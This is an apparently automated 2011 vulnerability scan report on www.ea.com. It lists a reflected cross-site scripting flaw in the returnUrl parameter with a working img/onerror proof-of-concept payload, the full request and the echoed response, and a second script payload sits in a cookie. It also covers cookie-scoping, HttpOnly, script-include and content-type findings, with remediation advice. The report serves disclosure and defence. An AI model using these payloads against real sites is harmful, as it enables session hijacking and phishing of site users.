XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, ea.com

Report generated by XSS.CX at Sat Jun 25 09:42:12 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

2. Cookie scoped to parent domain

3. Cookie without HttpOnly flag set

4. Cross-domain script include

4.1. http://www.ea.com/

4.2. http://www.ea.com/1/product-eulas

5. Content type incorrectly stated


1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ea.com
Path:   /json/user-menu

Issue detail

The value of the returnUrl request parameter is copied into the HTML document as plain text between tags. The payload 18bd9<img%20src%3da%20onerror%3dalert(1)>2c4a66b853f was submitted in the returnUrl parameter. This input was echoed as 18bd9<img src=a onerror=alert(1)>2c4a66b853f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /json/user-menu?returnUrl=http%3A%2F%2Fwww.ea.com%2F1%2Fproduct-eulas18bd9<img%20src%3da%20onerror%3dalert(1)>2c4a66b853f&_=1308923169682 HTTP/1.1
Host: www.ea.com
Proxy-Connection: keep-alive
Referer: http://www.ea.com/1/product-eulas
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CEM-session=50ishjhd22sfunvecnibh6mej7; __utmz=103303007.1308923026.1.1.utmcsr=aboutus.ea.com|utmccn=(referral)|utmcmd=referral|utmcct=/ea_outreach.action; __utma=103303007.346541957.1308923026.1308923026.1308923026.1; __utmc=103303007; __utmb=103303007.1.10.1308923026; s_ria=flash%2010%7Csilverlight%20not%20detected; s_pv=no%20value; s_cc=true; evar1=Not%20Logged%20In; s_sq=eacustomerservice%3D%2526pid%253DSupport%252520Home%2526pidt%253D1%2526oid%253Djavascript%25253Avoid%252528openPositionedWindow%252528%252527http%25253A//www.info.ea.com%252527%25252C%25252520%252527info%252527%25252C%25252520780%25252C%25252520800%25252C%252525200%25252C%252525200%25252C%25252520t%2526ot%253DA%26eaeacom%2Ceaproducteacomna%2Ceaeabrandna%2Ceaeacomna%2Ceaproducteacomglobal%3D%2526pid%253Dhttp%25253A%25252F%25252Finvestors.ea.com%25252F%2526oid%253Dhttp%25253A%25252F%25252Feastore.ea.com%25252F%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Fri, 24 Jun 2011 13:47:02 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 727
Content-Type: text/html; charset=utf-8

{"html":"<div id=\"mod-user-menu\">\n\t<div class=\"mod-header\"><\/div>\n\t<div class=\"mod-content\">\n\t\t<div class=\"content\">\n\t\t\t<ul>\n\t\t\t<li class=\"login\" title=\"Login\"><a href=\"https:\/\/www.ea.com\/profile\/login?returnurl=http:\/\/www.ea.com\/1\/product-eulas18bd9<img src=a onerror=alert(1)>2c4a66b853f\" id=\"mod-user-menu-login\">
...[SNIP]...
2. Cookie scoped to parent domain  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.ea.com
Path:   /dynajs/gus.jsx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /dynajs/gus.jsx HTTP/1.1
Host: www.ea.com
Proxy-Connection: keep-alive
Referer: http://investors.ea.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 File Not Found
Date: Fri, 24 Jun 2011 13:43:43 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Set-Cookie: CEM-session=50ishjhd22sfunvecnibh6mej7; path=/; domain=.ea.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html

3. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.ea.com
Path:   /dynajs/gus.jsx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /dynajs/gus.jsx HTTP/1.1
Host: www.ea.com
Proxy-Connection: keep-alive
Referer: http://investors.ea.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 File Not Found
Date: Fri, 24 Jun 2011 13:43:43 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Set-Cookie: CEM-session=50ishjhd22sfunvecnibh6mej7; path=/; domain=.ea.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html

4. Cross-domain script include  previous  next
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

4.1. http://www.ea.com/  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ea.com
Path:   /

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET / HTTP/1.1
Host: www.ea.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: __utma=103303007.305566496.1308924557.1308924557.1308924557.1; __utmb=103303007.4.10.1308924557; __utmc=103303007; __utmz=103303007.1308924557.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; s_sivo=US%3AEACOM%3ANONE; s_cc=true; s_ria=flash%20not%20detected%7Csilverlight%20not%20detected; s_pv=NA%3AUS%3AEA%3ANONE%3AMKT%3ANONE%3AEACOM%3ANONE%3A404; s_sq=%5B%5BB%5D%5D; fsr.s={"v":1,"rid":"1308924564819_872232","ru":"http://www.fakereferrerdominator.com/referrerPathName?RefParName=RefValue","r":"www.fakereferrerdominator.com","st":"","to":5,"c":"http://web-static.ea.com/us/portal/js/jquery/100bf\"><script>alert(/XSS/)</script>17b3cdbf2ef","pv":4,"lc":{"d0":{"v":4,"s":true}},"cd":0,"sd":0,"f":1308924638160}; s_ppv=93; CEM-session=edpobirp4ogcqb3mqgjheosp12

Response

HTTP/1.1 200 OK
Date: Fri, 24 Jun 2011 14:27:14 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 33296
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html lang="en" xmlns:og="http://ogp.me/ns#" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>

   <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
   
   <title>
...[SNIP]...
<link rel="stylesheet" type="text/css" media="screen" href="http://web-static.ea.com/atlas/sw-combine/1308169381/6f7f59608e57ea63b42b0b6cbd84b0e7.css?v=1308169381" />
   
   <script type="text/javascript" src="http://use.typekit.com/dum7haf.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
<script type="text/javascript" src="http://static.ak.fbcdn.net/connect.php/js/FB.Share"></script>
<script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
4.2. http://www.ea.com/1/product-eulas  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ea.com
Path:   /1/product-eulas

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /1/product-eulas HTTP/1.1
Host: www.ea.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CEM-session=50ishjhd22sfunvecnibh6mej7; __utmz=103303007.1308923026.1.1.utmcsr=aboutus.ea.com|utmccn=(referral)|utmcmd=referral|utmcct=/ea_outreach.action; __utma=103303007.346541957.1308923026.1308923026.1308923026.1; __utmc=103303007; __utmb=103303007.1.10.1308923026; s_ria=flash%2010%7Csilverlight%20not%20detected; s_pv=no%20value; s_cc=true; evar1=Not%20Logged%20In; s_sq=eacustomerservice%3D%2526pid%253DSupport%252520Home%2526pidt%253D1%2526oid%253Djavascript%25253Avoid%252528openPositionedWindow%252528%252527http%25253A//www.info.ea.com%252527%25252C%25252520%252527info%252527%25252C%25252520780%25252C%25252520800%25252C%252525200%25252C%252525200%25252C%25252520t%2526ot%253DA%26eaeacom%2Ceaproducteacomna%2Ceaeabrandna%2Ceaeacomna%2Ceaproducteacomglobal%3D%2526pid%253Dhttp%25253A%25252F%25252Finvestors.ea.com%25252F%2526oid%253Dhttp%25253A%25252F%25252Feastore.ea.com%25252F%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Fri, 24 Jun 2011 13:46:05 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 116970
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html lang="en" xmlns:og="http://ogp.me/ns#" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>

   <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
   
   <title>
...[SNIP]...
<link rel="stylesheet" type="text/css" media="screen" href="http://web-static.ea.com/atlas/sw-combine/1308169381/518c93ed7595125a5074a21240beed9b.css?v=1308169381" />
   
   <script type="text/javascript" src="http://use.typekit.com/dum7haf.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
<script type="text/javascript" src="http://static.ak.fbcdn.net/connect.php/js/FB.Share"></script>
<script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
5. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.ea.com
Path:   /json/user-menu

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain JSON.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /json/user-menu?returnUrl=http%3A%2F%2Fwww.ea.com%2F1%2Fproduct-eulas&_=1308923169682 HTTP/1.1
Host: www.ea.com
Proxy-Connection: keep-alive
Referer: http://www.ea.com/1/product-eulas
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CEM-session=50ishjhd22sfunvecnibh6mej7; __utmz=103303007.1308923026.1.1.utmcsr=aboutus.ea.com|utmccn=(referral)|utmcmd=referral|utmcct=/ea_outreach.action; __utma=103303007.346541957.1308923026.1308923026.1308923026.1; __utmc=103303007; __utmb=103303007.1.10.1308923026; s_ria=flash%2010%7Csilverlight%20not%20detected; s_pv=no%20value; s_cc=true; evar1=Not%20Logged%20In; s_sq=eacustomerservice%3D%2526pid%253DSupport%252520Home%2526pidt%253D1%2526oid%253Djavascript%25253Avoid%252528openPositionedWindow%252528%252527http%25253A//www.info.ea.com%252527%25252C%25252520%252527info%252527%25252C%25252520780%25252C%25252520800%25252C%252525200%25252C%252525200%25252C%25252520t%2526ot%253DA%26eaeacom%2Ceaproducteacomna%2Ceaeabrandna%2Ceaeacomna%2Ceaproducteacomglobal%3D%2526pid%253Dhttp%25253A%25252F%25252Finvestors.ea.com%25252F%2526oid%253Dhttp%25253A%25252F%25252Feastore.ea.com%25252F%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Fri, 24 Jun 2011 13:46:09 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 639
Content-Type: text/html; charset=utf-8

{"html":"<div id=\"mod-user-menu\">\n\t<div class=\"mod-header\"><\/div>\n\t<div class=\"mod-content\">\n\t\t<div class=\"content\">\n\t\t\t<ul>\n\t\t\t<li class=\"login\" title=\"Login\"><a href=\"ht
...[SNIP]...
Report generated by XSS.CX at Sat Jun 25 09:42:12 CDT 2011.